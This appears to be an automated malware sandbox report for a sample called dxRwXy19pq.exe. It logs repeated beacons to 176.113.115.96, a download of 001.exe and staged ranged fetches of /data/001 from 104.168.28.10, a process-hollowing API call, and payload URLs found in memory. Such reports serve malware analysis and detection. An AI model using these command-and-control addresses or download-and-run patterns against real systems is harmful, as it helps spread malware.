Source: global traffic	HTTP traffic detected: GET /ai/?key=8f3f2b3ae14615677411efa3231678fbb389926d19fe6595cd66946951e91fcd85250aef18d105672e26e5fd09b4a149c9c4e9976278d7f0449ad5f64dd7cc9f4badbff4c50d15918a5449d3323240976481d5d5905c4bce7535ffde HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 176.113.115.96
Source: global traffic	HTTP traffic detected: GET /ai/?key=8f3f2b3ae14615677411efa3231678fbb386926d19fe6595cd66946951e91fcd85250aef18d105672e26e5fd09b4a149c9c4e9976278d7f0449ad5f64dd7cc9f4badbff4c50d15918a5449d3323240976481d5d5905c4bce7535ffde HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 176.113.115.96
Source: global traffic	HTTP traffic detected: GET /ai/?key=8f3f2b3ae14615677411efa3231678fbb387926d19fe6595cd66946951e91fcd85250aef18d105672e26e5fd09b4a149c9c4e9976278d7f0449ad5f64dd7cc9f4badbff4c50d15918a5449d3323240976481d5d5905c4bce7535ffde HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 176.113.115.96
Source: global traffic	HTTP traffic detected: GET /ai/?key=8f3f2b3ae14615677411efa3231678fbb38f842a1cec7a86d87bdb6546ad12dac0290dec1dd51729366be8eb43a8ec4cd78eec906920dff156d3c9b841d6d28155b2b7fdc10c06d180594f893e250f8a74d8d9d3935949ca7731f8db05 HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 176.113.115.96
Source: global traffic	HTTP traffic detected: GET /ai/?key=8f3f2b3ae14615677411efa3231678fbb38f852a1cec7a86d87bdb6546ad12dac0290dec1dd51729366be8eb43a8ec4cd78eec906920dff156d3c9b841d6d28155b2b7fdc10c06d180594f893e250f8a74d8d9d3935949ca7731f8db05 HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 176.113.115.96
Source: global traffic	HTTP traffic detected: GET /ai/?key=8f3f2b3ae14615677411efa3231678fbb38f862a1cec7a86d87bdb6546ad12dac0290dec1dd51729366be8eb43a8ec4cd78eec906920dff156d3c9b841d6d28155b2b7fdc10c06d180594f893e250f8a74d8d9d3935949ca7731f8db05 HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 176.113.115.96
Source: global traffic	HTTP traffic detected: GET /ai/?key=8f3f2b3ae14615677411efa3231678fbb38f872a1cec7a86d87bdb6546ad12dac0290dec1dd51729366be8eb43a8ec4cd78eec906920dff156d3c9b841d6d28155b2b7fdc10c06d180594f893e250f8a74d8d9d3935949ca7731f8db05 HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 176.113.115.96
Source: global traffic	HTTP traffic detected: GET /ai/?key=8f3f2b3ae14615677411efa3231678fbb38f802a1cec7a86d87bdb6546ad12dac0290dec1dd51729366be8eb43a8ec4cd78eec906920dff156d3c9b841d6d28155b2b7fdc10c06d180594f893e250f8a74d8d9d3935949ca7731f8db05 HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 176.113.115.96
Source: global traffic	HTTP traffic detected: GET /ai/?key=8f3f2b3ae14615677411efa3231678fbb38f812a1cec7a86d87bdb6546ad12dac0290dec1dd51729366be8eb43a8ec4cd78eec906920dff156d3c9b841d6d28155b2b7fdc10c06d180594f893e250f8a74d8d9d3935949ca7731f8db05 HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 176.113.115.96
Source: global traffic	HTTP traffic detected: GET /ai/?key=8f3f2b3ae14615677411efa3231678fbb38f822a1cec7a86d87bdb6546ad12dac0290dec1dd51729366be8eb43a8ec4cd78eec906920dff156d3c9b841d6d28155b2b7fdc10c06d180594f893e250f8a74d8d9d3935949ca7731f8db05 HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 176.113.115.96
Source: global traffic	HTTP traffic detected: GET /001.exe HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 104.168.28.10Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: HEAD /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=0-0User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=16384-32767User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=65536-81919User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=49152-65535User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=81920-98303User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=98304-114687User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=114688-131071User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=0-16383User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=32768-49151User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=131072-163839User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=163840-196607User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=196608-229375User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=229376-262143User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=262144-294911User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=294912-327679User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=327680-360447User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=360448-393215User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=393216-458751User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=458752-524287User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=524288-589823User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=589824-655359User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=655360-720895User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=720896-786431User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=786432-851967User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=851968-917503User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=1048576-1179647User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=1179648-1310719User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=1310720-1441791User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=917504-1048575User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=1441792-1572863User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=1572864-1703935User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=1703936-1835007User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=1835008-1966079User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=1966080-2228223User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=2228224-2490367User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=2752512-3014655User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=2490368-2752511User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=3014656-3276799User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=3276800-3538943User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=3538944-3801087User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=3801088-4063231User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=4063232-4587519User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=4587520-5111807User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=5111808-5636095User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=5636096-6160383User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=6160384-6684671User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /
Source: global traffic	HTTP traffic detected: GET /data/001 HTTP/1.1Host: 104.168.28.10Range: bytes=6684672-6763823User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2911.0 Safari/537.36Accept: /

Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49687
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49687 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: photorecoverylib59.exe.13.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: PhotoRecoveryLib.exe.14.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\GuardFox\ded120f6-6c1d-18da-bc8d-0195720b2895.exe	Code function: 2_2_00007FF88B4C5716 NtUnmapViewOfSection,	2_2_00007FF88B4C5716
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_0042F594 NtdllDefWindowProc_A,	13_2_0042F594
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_00423B94 NtdllDefWindowProc_A,	13_2_00423B94
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_004125E8 NtdllDefWindowProc_A,	13_2_004125E8
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_00479380 NtdllDefWindowProc_A,	13_2_00479380
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_0045763C PostMessageA,PostMessageA,SetForegroundWindow,NtdllDefWindowProc_A,	13_2_0045763C

Source: dxRwXy19pq.exe, 00000000.00000003.1251275002.000000000099A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/
Source: dxRwXy19pq.exe, 00000000.00000003.1251221468.00000000009E8000.00000004.00000020.00020000.00000000.sdmp, dxRwXy19pq.exe, 00000000.00000002.1330110847.00000000009E9000.00000004.00000020.00020000.00000000.sdmp, dxRwXy19pq.exe, 00000000.00000003.1325826877.00000000009E8000.00000004.00000020.00020000.00000000.sdmp, dxRwXy19pq.exe, 00000000.00000002.1329690594.000000000097C000.00000004.00000020.00020000.00000000.sdmp, dxRwXy19pq.exe, 00000000.00000003.1251275002.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, dxRwXy19pq.exe, 00000000.00000003.1251275002.000000000099A000.00000004.00000020.00020000.00000000.sdmp, dxRwXy19pq.exe, 00000000.00000003.1325685373.00000000009E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/001.exe
Source: dxRwXy19pq.exe, 00000000.00000003.1251221468.00000000009E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/001.exe.dll
Source: dxRwXy19pq.exe, 00000000.00000003.1251221468.00000000009E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/001.exe8
Source: dxRwXy19pq.exe, 00000000.00000002.1329690594.000000000097C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/001.exe;
Source: dxRwXy19pq.exe, 00000000.00000003.1251221468.00000000009E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/001.exeLMEM
Source: dxRwXy19pq.exe, 00000000.00000003.1251275002.000000000099A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/001.exeSSC:
Source: dxRwXy19pq.exe, 00000000.00000003.1251221468.00000000009E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/001.exeT
Source: dxRwXy19pq.exe, 00000000.00000003.1251221468.00000000009E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/001.exedll
Source: dxRwXy19pq.exe, 00000000.00000003.1251275002.00000000009C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/001.exefC:
Source: dxRwXy19pq.exe, 00000000.00000003.1251275002.00000000009C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/001.exelliJ
Source: dxRwXy19pq.exe, 00000000.00000002.1329690594.000000000097C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/001.exem
Source: dxRwXy19pq.exe, 00000000.00000003.1251275002.00000000009C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/001.exeum
Source: dxRwXy19pq.exe, 00000000.00000003.1251221468.00000000009E8000.00000004.00000020.00020000.00000000.sdmp, dxRwXy19pq.exe, 00000000.00000002.1330110847.00000000009E9000.00000004.00000020.00020000.00000000.sdmp, dxRwXy19pq.exe, 00000000.00000003.1325826877.00000000009E8000.00000004.00000020.00020000.00000000.sdmp, dxRwXy19pq.exe, 00000000.00000003.1325685373.00000000009E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/001.exe~
Source: vbc.exe, 00000005.00000002.1380145477.000001798DB5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/data/001
Source: vbc.exe, 00000005.00000002.1379431618.000001798D763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/data/001PCUSERD
Source: vbc.exe, 00000005.00000002.1380019063.000001798DB40000.00000004.00000020.00020000.00000000.sdmp, vbc.exe, 00000005.00000002.1380145477.000001798DB5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/data/001w
Source: vbc.exe, 00000005.00000002.1380145477.000001798DB5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/data/001wl
Source: vbc.exe, 00000005.00000002.1380145477.000001798DB5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/data/001wv
Source: vbc.exe, 00000005.00000002.1380145477.000001798DB5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/data/001x
